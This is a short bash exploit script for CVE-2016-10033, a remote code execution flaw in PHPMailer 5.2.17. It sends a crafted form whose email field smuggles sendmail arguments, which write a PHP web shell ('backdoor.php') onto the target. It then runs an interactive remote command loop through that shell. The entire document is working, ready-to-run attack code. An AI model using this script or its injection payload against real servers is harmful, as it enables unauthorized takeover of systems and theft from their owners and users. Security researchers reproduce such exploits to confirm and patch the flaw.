PHPMailer 5.2.17 Remote Code Execution

`#!/bin/bash  
# CVE-2016-10033 exploit by opsxcq  
# https://github.com/opsxcq/exploit-CVE-2016-10033  
  
echo '[+] CVE-2016-10033 exploit by opsxcq'  
  
if [ -z "$1" ]  
then  
echo '[-] Please inform an host as parameter'  
exit -1  
fi  
  
host=$1  
  
echo '[+] Exploiting '$host  
  
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'  
  
cmd='whoami'  
while [ "$cmd" != 'exit' ]  
do  
echo '[+] Running '$cmd  
curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d  
echo  
read -p 'RemoteShell> ' cmd  
done  
echo '[+] Exiting'  
  
`